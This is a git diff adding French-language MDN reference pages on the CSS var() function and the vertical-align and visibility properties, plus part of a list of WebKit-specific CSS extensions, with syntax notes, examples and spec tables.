diff --git a/files/fr/web/css/var()/index.html b/files/fr/web/css/var()/index.html
new file mode 100644
index 0000000000..0fb388e2f0
--- /dev/null
+++ b/files/fr/web/css/var()/index.html
@@ -0,0 +1,94 @@
+---
+title: var()
+slug: Web/CSS/var()
+tags:
+  - CSS
+  - Experimental
+  - Fonction CSS
+  - Reference
+  - Variables CSS
+translation_of: Web/CSS/var()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>var()</code></strong> peut être utilisée à la place d'une valeur pour n'importe quelle propriété d'un élément. Elle permet d'insérer la valeur d'<a href="/fr/docs/Web/CSS/--*">une propriété personnalisée (custom property)</a>.</p>
+
+<pre class="brush: css">var(--header-color, blue);</pre>
+
+<p>La fonction <code>var()</code> ne peut pas être utilisée pour les noms de propriété, les sélecteurs et pour tout ce qui n'est pas une valeur de propriété.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Le premier argument de la fonction est le nom de la propriété qu'on veut substituer. Le deuxième argument, optionnel, est une valeur de recours (<em>fallback</em>) qui est utilisée au cas où la valeur de subsitution référencée par la propriété est invalide.</p>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> La syntaxe de la valeur de recours permet d'utiliser des virgules. Aussi, si on a <code>var(--toto, red, blue)</code>, la valeur de recours sera bien <code>red, blue</code> (autrement dit, tout ce qui est situé après la première virgule sert de valeur de recours).</p>
+</div>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;custom-property-name&gt;</code></dt>
+ <dd>Le nom d'une propriété personnalisée, représenté par un identifiant valide qui commence par deux tirets. Les propriétés personnalisées sont uniquement utilisées par les auteurs et les utilisateurs. CSS ne définit pas leur valeur ou leur sémantique.</dd>
+ <dt><code>&lt;declaration-value&gt;</code></dt>
+ <dd>Une valeur de subsitution qui peut être utilisée afin que la règle soit valide si la valeur du premier argument ne peut être utilisée ici.</dd>
+</dl>
+
+<h2 id="Exemples​">Exemples​</h2>
+
+<pre class="brush: css">:root{
+  --main-bg-color: pink;
+}
+
+body {
+  background-color: var(--main-bg-color);
+}
+
+</pre>
+
+<pre class="brush: css">/* On ajoute un paramètre de secours */
+.component .header {
+  color: var(--header-color, blue); // à ce moment header-color n'est pas définie, c'est donc le bleu qui est utilisé
+}
+.component .text {
+  color: var(--text-color, black);
+}
+
+.component {
+  --text-color: #080;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Variables', '#using-variables', 'var()')}}</td>
+   <td>{{Spec2('CSS3 Variables')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.custom-property.var")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("env","env(…)")}} – variables d'environnement en lecture seule, contrôlées par l'agent utilisateur.</li>
+ <li><a href="/fr/docs/Web/CSS/Utiliser_les_variables_CSS">Utiliser les variables CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/vertical-align/index.html b/files/fr/web/css/vertical-align/index.html
new file mode 100644
index 0000000000..88319dc526
--- /dev/null
+++ b/files/fr/web/css/vertical-align/index.html
@@ -0,0 +1,191 @@
+---
+title: vertical-align
+slug: Web/CSS/vertical-align
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/vertical-align
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>vertical-align</code></strong> définit l'alignement vertical d'une boîte en ligne (<em>inline</em>) ou d'une cellule de tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/vertical-align.html")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>La propriété <code>vertical-align</code> peut être utilisée dans deux contextes :</p>
+
+<ul>
+ <li>Afin d'aligner verticalement la boîte d'un élément en ligne à l'intérieur de la boîte en ligne de son conteneur (par exemple pour aligner verticalement une image ({{HTMLElement("img")}} sur une ligne de texte)</li>
+ <li>ou pour aligner verticalement le contenu d'une cellule dans un tableau</li>
+</ul>
+
+<p><code>vertical-align</code> ne s'applique qu'aux cellules de tableaux et aux éléments en ligne (<em>inline</em>), elle ne peut pas être utilisée pour aligner verticalement <a href="/fr/docs/Web/HTML/Éléments_en_bloc">les éléments de bloc</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Avec un mot-clé */
+vertical-align: baseline;
+vertical-align: sub;
+vertical-align: super;
+vertical-align: text-top;
+vertical-align: text-bottom;
+vertical-align: middle;
+vertical-align: top;
+vertical-align: bottom;
+
+/* Valeurs de longueur */
+/* type &lt;length&gt; */
+vertical-align: 10em;
+vertical-align: 4px;
+
+/* Valeurs en pourcentage */
+/* type &lt;percentage&gt; */
+vertical-align: 20%;
+
+/* Valeurs globales */
+vertical-align: inherit;
+vertical-align: initial;
+vertical-align: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<h4 id="Pour_les_éléments_inline">Pour les éléments <em>inline</em></h4>
+
+<div class="note">
+<p><strong>Note :</strong>  La plupart des valeurs alignent l'élément verticalement, relativement à son élément parent.</p>
+</div>
+
+<dl>
+ <dt><code>baseline</code></dt>
+ <dd>Aligne la ligne de base de l'élément avec celle de son parent. La ligne de base de certains <a href="/fr/docs/Web/CSS/Élément_remplacé">éléments remplacés</a>, comme {{HTMLElement("textarea")}}, n'est pas définie par la spécification HTML et le comportement de ce mot-clé peut donc changer d'un navigateur à un autre.</dd>
+ <dt><code>sub</code></dt>
+ <dd>Aligne la ligne de base sur la ligne de base inférieure (celle utilisée pour les indices) de l'élément parent.</dd>
+ <dt><code>super</code></dt>
+ <dd>Aligne la ligne de base sur la ligne de base supérieure (celle utilisée pour les exposants) de l'élément parent.</dd>
+ <dt><code>text-top</code></dt>
+ <dd>Aligne le haut de l'élément avec le haut de la police de l'élément parent.</dd>
+ <dt><code>text-bottom</code></dt>
+ <dd>Aligne le bas de l'élément avec le bas de la police de l'élément parent.</dd>
+ <dt><code>middle</code></dt>
+ <dd>Aligne le milieu de l'élément avec la hauteur donnée par la ligne de base de l'élément parent à laquelle on ajoute la moitié de sa hauteur.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Aligne la ligne de base de l'élément à la hauteur de la ligne de base de l'élément parent à laquelle on ajoute la hauteur donnée. Les valeurs négatives sont autorisées.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Fonctionne comme avec les valeurs de type {{cssxref("&lt;length&gt;")}}, le pourcentage indique une fraction de la propriété {{cssxref("line-height")}}. Les valeurs négatives sont autorisées.</dd>
+</dl>
+
+<p>Les valeurs suivantes alignent l'élément par rapport à la ligne entière (absolu) plutôt que par rapport à leur parent (relatif) :</p>
+
+<dl>
+ <dt><code>top</code></dt>
+ <dd>Aligne le haut de l'élément et de ses descendants avec le haut de la ligne entière.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>Aligne le bas de l'élément et de ses descendants avec le bas de la ligne entière.</dd>
+</dl>
+
+<p>Pour les éléments qui n'ont pas de ligne de base définie, c'est le bord de la marge basse qui est utilisée.</p>
+
+<h4 id="Pour_les_cellules_de_tableau">Pour les cellules de tableau</h4>
+
+<dl>
+ <dt><code>baseline</code>, <code>sub</code>, <code>super</code>, <code>text-top</code>, <code>text-bottom</code>, <code>&lt;length&gt;</code> et <code>&lt;percentage&gt;</code></dt>
+ <dd>La ligne de base de la cellule est alignée avec celle de toutes les autres cellules de la ligne courante qui sont alignées par rapport à la ligne de base. Les valeurs négatives sont autorisées.</dd>
+ <dt><code>top</code></dt>
+ <dd>Aligne le bord haut de la boîte de remplissage (<em>padding</em>) de la cellule avec le haut de la ligne.</dd>
+ <dt><code>middle</code></dt>
+ <dd>Centre la boîte de remplissage (<em>padding</em>) de la cellule avec la ligne.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>Aligne le bord bas de la boîte de remplissage (<em>padding</em>) avec le bas de la ligne.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  Une &lt;img src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="une icone générique" width="32" height="32" /&gt;
+  image alignée par défaut.
+&lt;/div&gt;
+&lt;div&gt;
+  Une &lt;img class="haut" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt;
+  image alignée avec text-top.
+&lt;/div&gt;
+&lt;div&gt;
+  Une &lt;img class="bas" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt;
+  image alignée avec text-bottom.&lt;/div&gt;
+&lt;div&gt;
+  Une &lt;img class="pourcents" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt;
+  image alignée avec 200%.
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">img.haut {
+  vertical-align: text-top;
+}
+img.bas {
+  vertical-align: text-bottom;
+}
+img.pourcents {
+  vertical-align: 200%;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'vertical-align')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>vertical-align</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#propdef-vertical-align', 'vertical-align')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Ajoute la valeur {{cssxref("&lt;length&gt;")}} et permet d'appliquer la propriété aux éléments dont {{cssxref("display")}} est de type <code>table-cell</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#vertical-align', 'vertical-align')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.vertical-align")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("line-height")}}, {{cssxref("text-align")}}, {{cssxref("margin")}}</li>
+ <li><a href="https://phrogz.net/css/vertical-align/index.html">Comprendre <code>vertical-align</code> ou comment (ne pas) centrer des éléments verticalement</a> (en anglais)</li>
+ <li><a href="https://christopheraue.net/design/vertical-align">Tout ce qu'il y a à savoir sur <code>vertical-align</code></a> (en anglais)</li>
+ <li><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Cas_utilisation_flexbox#Centrer_des_éléments">Centrer des éléments avec <em>flexbox</em></a></li>
+</ul>
diff --git a/files/fr/web/css/visibility/index.html b/files/fr/web/css/visibility/index.html
new file mode 100644
index 0000000000..8d75cc5fb2
--- /dev/null
+++ b/files/fr/web/css/visibility/index.html
@@ -0,0 +1,190 @@
+---
+title: visibility
+slug: Web/CSS/visibility
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/visibility
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>visibility</code></strong> peut être utilisée afin de cacher un élément tout en conservant occupé l'espace dans lequel il aurait été visible. Elle permet aussi de masquer des lignes ou des colonnes dans un tableau (cf. {{HTMLElement("table")}}).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/visibility.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Afin de cacher un élément et de le retirer de la disposition du document, on utilisera plutôt la propriété {{cssxref("display")}} avec la valeur <code>none</code>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Avec un mot-clé */
+visibility: visible;
+visibility: hidden;
+visibility: collapse;
+
+/* Valeurs globales */
+visibility: inherit;
+visibility: initial;
+visibility: unset;
+</pre>
+
+<p>La propriété <code>visibility</code> est définie avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>La valeur par défaut, la boîte est visible.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>La boîte est invisible (totalement transparente, rien n'est dessiné) mais continue d'avoir un impact sur la disposition. Les fils de l'élément seront visibles s'ils ont <code>visibility:visible</code>. L'élément ne pourra plus recevoir le focus (cf. <a href="/fr/docs/Web/HTML/Attributs_universels/tabindex">la navigation au clavier avec les tabulations</a>).</dd>
+ <dt><code>collapse</code></dt>
+ <dd>
+ <ul>
+  <li>Pour les lignes, les colonnes, les groupes de lignes et les groupes de colonnes d'un tableau, les éléments sont masqués et l'espace occupé est retiré (comme si on avait appliqué <code>{{cssxref("display")}}: none</code> aux colonnes/lignes du tableau). La taille des autres lignes et colonnes continue d'être calculée comme si les lignes et colonnes masquées étaient présentes. Cela a été conçu afin de pouvoir retirer rapidement des lignes et/ou des colonnes sans avoir à recalculer les dimensions pour l'ensemble du tableau.</li>
+  <li>Les éléments flexibles sont masqués et l'espace qu'ils auraient occupé est retiré.</li>
+  <li>Pour les éléments XUL, la taille calculée des éléments vaut toujours zéro, quel que soit les autres styles qui pourraient affecter la taille, les marges continuent de s'appliquer.</li>
+  <li>Pour les autres éléments, <code>collapse</code> est traité comme <code>hidden</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Interpolation">Interpolation</h2>
+
+<p>Les valeurs de visibilité peuvent être interpolées entre <em>visible</em> et <em>masqué</em>. L'une des valeurs de début ou de fin doit donc être <code>visible</code>, sinon il n'y aura pas d'interpolation. L'interpolation est discrète (passage direct d'un état à l'autre), les valeurs supérieures à 0 sont considérées équivalentes à <code>visible</code>. On pourra plutôt utiliser {{cssxref("opacity")}} pour créer un effet doux plutôt que de masquer/rendre visible l'élément brusquement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  On peut dire tout ce qu'on veut ici,
+  ce ne sera pas lisible de toute façon.
+&lt;/p&gt;
+&lt;p class="coucou"&gt;
+  Alors que là, on a la bonne classe.
+  Coucou tout le monde :)
+&lt;/p&gt;
+&lt;p&gt;
+  Et on repasse en mode invisible.
+&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css">p {
+  /* les paragraphes ne seront pas visibles */
+  visibility: hidden;
+}
+
+p.coucou {
+  /* sauf ceux avec la classe coucou */
+  visibility: visible;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple")}}</p>
+
+<h3 id="Exemple_sur_un_tableau">Exemple sur un tableau</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jean&lt;/td&gt;
+    &lt;td&gt;Biche&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr class="col"&gt;
+    &lt;td&gt;Hit&lt;/td&gt;
+    &lt;td&gt;Girl&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Super&lt;/td&gt;
+    &lt;td&gt;Cochon&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">tr.col {
+  /* les lignes de tableau avec la classe */
+  /* col seront repliées */
+  visibility: collapse;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_sur_un_tableau")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Utiliser la propriété <code>visibility</code> avec la valeur <code>hidden</code> retirera l'objet de <a href="/fr/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">l'arbre d'accessibilité</a>. Les éléments ciblés, ainsi que leurs éléments descendants ne seront plus annoncés par les lecteurs d'écran.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Le support de <code>visibility:collapse</code> est absent ou incorrect pour certains navigateurs récents. Dans de nombreux cas, il n'est pas correctement traité comme <code>visibility:hidden</code> sur les éléments qui ne sont pas des lignes et/ou des colonnes de tableau.</li>
+ <li><code>visibility:collapse</code> peut modifier la disposition d'un tableau si le tableau possède des tableaux imbriqués dont les cellules sont repliées, sauf si <code>visibility:visible</code> est défini explicitement sur les tableaux imbriqués.</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#visibility-collapse', 'visibility')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Définition de la valeur <code>collapse</code> pour les éléments flexibles.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#visibility-prop', 'visibility')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'visibility')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>visibility</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visufx.html#visibility', 'visibility')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.visibility")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+</ul>
diff --git a/files/fr/web/css/webkit_extensions/index.html b/files/fr/web/css/webkit_extensions/index.html
new file mode 100644
index 0000000000..f96018217b
--- /dev/null
+++ b/files/fr/web/css/webkit_extensions/index.html
@@ -0,0 +1,522 @@
+---
+title: Extensions WebKit
+slug: Web/CSS/WebKit_Extensions
+tags:
+  - Aperçu
+  - CSS
+  - Non-standard
+  - Reference
+  - WebKit
+translation_of: Web/CSS/WebKit_Extensions
+---
+<div>{{CSSRef}}</div>
+
+<p>Les applications basées sur WebKit ou Blink, telles que Safari et Chrome, prennent en charge plusieurs <strong>extensions spécifiques à <a href="/fr/docs/Web/CSS">CSS</a></strong>. Ces extensions sont généralement préfixées par <code>-webkit</code>. Certaines propriétés préfixées par <code>-webkit</code> peuvent également fonctionner avec le préfixe <code>-apple</code>. Quelques unes de ces extensions sont préfixées avec <code>-epub</code>.</p>
+
+<h2 id="Propriétés_spécifiques_WebKit_ne_pas_utiliser_sur_le_Web">Propriétés spécifiques WebKit (ne pas utiliser sur le Web)</h2>
+
+<div class="note">
+<p><strong>Note :</strong> Ces propriétés ne fonctionneront que pour les applications WebKit et ne sont pas en voie de standardisation.</p>
+</div>
+
+<div class="index">
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-aspect-ratio")}}</li>
+</ul>
+
+<h3 id="B">B</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-background-composite")}}</li>
+ <li>{{CSSxRef("background-origin-x")}} (unprefixed!)</li>
+ <li>{{CSSxRef("background-origin-y")}} (unprefixed!)</li>
+ <li>{{CSSxRef("-webkit-border-after")}}</li>
+ <li>{{CSSxRef("-webkit-border-after-color")}}</li>
+ <li>{{CSSxRef("-webkit-border-after-style")}}</li>
+ <li>{{CSSxRef("-webkit-border-after-width")}}</li>
+ <li>{{CSSxRef("-webkit-border-before")}}</li>
+ <li>{{CSSxRef("-webkit-border-before-color")}}</li>
+ <li>{{CSSxRef("-webkit-border-before-style")}}</li>
+ <li>{{CSSxRef("-webkit-border-before-width")}}</li>
+ <li>{{CSSxRef("-webkit-border-end")}}</li>
+ <li>{{CSSxRef("-webkit-border-end-color")}}</li>
+ <li>{{CSSxRef("-webkit-border-end-style")}}</li>
+ <li>{{CSSxRef("-webkit-border-end-width")}}</li>
+ <li>{{CSSxRef("-webkit-border-fit")}}</li>
+ <li>{{CSSxRef("-webkit-border-horizontal-spacing")}}</li>
+ <li>{{CSSxRef("-webkit-border-start")}}</li>
+ <li>{{CSSxRef("-webkit-border-start-color")}}</li>
+ <li>{{CSSxRef("-webkit-border-start-style")}}</li>
+ <li>{{CSSxRef("-webkit-border-start-width")}}</li>
+ <li>{{CSSxRef("-webkit-border-vertical-spacing")}}</li>
+ <li>{{CSSxRef("-webkit-box-align")}}</li>
+ <li>{{CSSxRef("-webkit-box-direction")}}</li>
+ <li>{{CSSxRef("-webkit-box-flex")}}</li>
+ <li>{{CSSxRef("-webkit-box-flex-group")}}</li>
+ <li>{{CSSxRef("-webkit-box-lines")}}</li>
+ <li>{{CSSxRef("-webkit-box-ordinal-group")}}</li>
+ <li>{{CSSxRef("-webkit-box-orient")}}</li>
+ <li>{{CSSxRef("-webkit-box-pack")}}</li>
+ <li>{{CSSxRef("-webkit-box-reflect")}}</li>
+ <li>{{CSSxRef("-webkit-box-shadow")}}</li>
+</ul>
+
+<h3 id="C_–_G">C – G</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-column-axis")}}</li>
+ <li>{{CSSxRef("-webkit-column-break-after")}}</li>
+ <li>{{CSSxRef("-webkit-column-break-before")}}</li>
+ <li>{{CSSxRef("-webkit-column-break-inside")}}</li>
+ <li>{{CSSxRef("-webkit-dashboard-region")}}</li>
+ <li>{{CSSxRef("-webkit-font-smoothing")}}</li>
+ <li>{{CSSxRef("-webkit-grid-columns")}}</li>
+ <li>{{CSSxRef("-webkit-grid-rows")}}</li>
+</ul>
+
+<h3 id="H_–_I">H – I</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-highlight")}}</li>
+ <li>{{CSSxRef("-webkit-hyphenate-charset")}}</li>
+ <li>{{CSSxRef("-webkit-hyphenate-limit-after")}}</li>
+ <li>{{CSSxRef("-webkit-hyphenate-limit-before")}}</li>
+ <li>{{CSSxRef("-webkit-hyphenate-limit-lines")}}</li>
+ <li>{{CSSxRef("-webkit-image-set")}}</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-line-align")}}</li>
+ <li>{{CSSxRef("-webkit-line-box-contain")}}</li>
+ <li>{{CSSxRef("-webkit-line-break")}}</li>
+ <li>{{CSSxRef("-webkit-line-clamp")}}</li>
+ <li>{{CSSxRef("-webkit-line-grid")}}</li>
+ <li>{{CSSxRef("-webkit-line-snap")}}</li>
+ <li>{{CSSxRef("-webkit-locale")}}</li>
+ <li>{{CSSxRef("-webkit-logical-height")}}</li>
+ <li>{{CSSxRef("-webkit-logical-width")}}</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-margin-after")}}</li>
+ <li>{{CSSxRef("-webkit-margin-after-collapse")}}</li>
+ <li>{{CSSxRef("-webkit-margin-before")}}</li>
+ <li>{{CSSxRef("-webkit-margin-before-collapse")}}</li>
+ <li>{{CSSxRef("-webkit-margin-bottom-collapse")}}</li>
+ <li>{{CSSxRef("-webkit-margin-collapse")}}</li>
+ <li>{{CSSxRef("-webkit-margin-end")}}</li>
+ <li>{{CSSxRef("-webkit-margin-start")}}</li>
+ <li>{{CSSxRef("-webkit-margin-top-collapse")}}</li>
+ <li>{{CSSxRef("-webkit-marquee")}}</li>
+ <li>{{CSSxRef("-webkit-marquee-direction")}}</li>
+ <li>{{CSSxRef("-webkit-marquee-increment")}}</li>
+ <li>{{CSSxRef("-webkit-marquee-repetition")}}</li>
+ <li>{{CSSxRef("-webkit-marquee-speed")}}</li>
+ <li>{{CSSxRef("-webkit-marquee-style")}}</li>
+ <li>{{CSSxRef("-webkit-mask-attachment")}}</li>
+ <li>{{CSSxRef("-webkit-mask-box-image")}}</li>
+ <li>{{CSSxRef("-webkit-mask-box-image-outset")}}</li>
+ <li>{{CSSxRef("-webkit-mask-box-image-repeat")}}</li>
+ <li>{{CSSxRef("-webkit-mask-box-image-slice")}}</li>
+ <li>{{CSSxRef("-webkit-mask-box-image-source")}}</li>
+ <li>{{CSSxRef("-webkit-mask-box-image-width")}}</li>
+ <li>{{CSSxRef("-webkit-mask-position-x")}}</li>
+ <li>{{CSSxRef("-webkit-mask-position-y")}}</li>
+ <li>{{CSSxRef("-webkit-mask-repeat-x")}}</li>
+ <li>{{CSSxRef("-webkit-mask-repeat-y")}}</li>
+ <li>{{CSSxRef("-webkit-match-nearest-mail-blockquote-color")}}</li>
+ <li>{{CSSxRef("-webkit-max-logical-height")}}</li>
+ <li>{{CSSxRef("-webkit-max-logical-width")}}</li>
+ <li>{{CSSxRef("-webkit-min-logical-height")}}</li>
+ <li>{{CSSxRef("-webkit-min-logical-width")}}</li>
+</ul>
+
+<h3 id="N_–_O">N – O</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-nbsp-mode")}}</li>
+ <li>{{CSSxRef("-webkit-overflow-scrolling")}}</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-padding-after")}}</li>
+ <li>{{CSSxRef("-webkit-padding-before")}}</li>
+ <li>{{CSSxRef("-webkit-padding-end")}}</li>
+ <li>{{CSSxRef("-webkit-padding-start")}}</li>
+ <li>{{CSSxRef("-webkit-perspective-origin-x")}}</li>
+ <li>{{CSSxRef("-webkit-perspective-origin-y")}}</li>
+ <li>{{CSSxRef("-webkit-print-color-adjust")}}</li>
+</ul>
+
+<h3 id="R_–_S">R – S</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-region-break-after")}}</li>
+ <li>{{CSSxRef("-webkit-region-break-before")}}</li>
+ <li>{{CSSxRef("-webkit-region-break-inside")}}</li>
+ <li>{{CSSxRef("-webkit-region-fragment")}}</li>
+ <li>{{CSSxRef("-webkit-<code>resizer</code>")}}</li>
+ <li>{{CSSxRef("-webkit-rtl-ordering")}}</li>
+ <li>{{CSSxRef(" <code>-webkit-scrollbar</code>")}}</li>
+ <li>{{CSSxRef(" <code>-webkit-scrollbar-button</code>")}}</li>
+ <li>{{CSSxRef(" <code>-webkit-scrollbar-corner</code>")}}</li>
+ <li>{{CSSxRef("-webkit-<code>scrollbar-thumb</code>")}}</li>
+ <li>{{CSSxRef("-webkit-<code>scrollbar-track</code>")}}</li>
+ <li>{{CSSxRef("-webkit-<code>scrollbar-track-piece</code>")}}</li>
+ <li>{{CSSxRef("-webkit-shape-inside")}}</li>
+ <li>{{CSSxRef("-webkit-svg-shadow")}}</li>
+</ul>
+
+<h3 id="T">T</h3>
+
+<ul>
+ <li>{{CSSxRef("-webkit-tap-highlight-color")}}</li>
+ <li>{{CSSxRef("-webkit-text-combine")}}</li>
+ <li>{{CSSxRef("-epub-text-combine")}}</li>
+ <li>{{CSSxRef("-webkit-text-decorations-in-effect")}}</li>
+ <li>{{CSSxRef("-webkit-text-fill-color")}}</li>
+ <li>{{CSSxRef("-epub-text-orientation")}}</li>
+ <li>{{CSSxRef("-webkit-text-security")}}</li>
+ <li>{{CSSxRef("-webkit-text-size-adjust")}}</li>
+ <li>{{CSSxRef("-webkit-text-stroke")}}</li>
+ <li>{{CSSxRef("-webkit-text-stroke-color")}}</li>
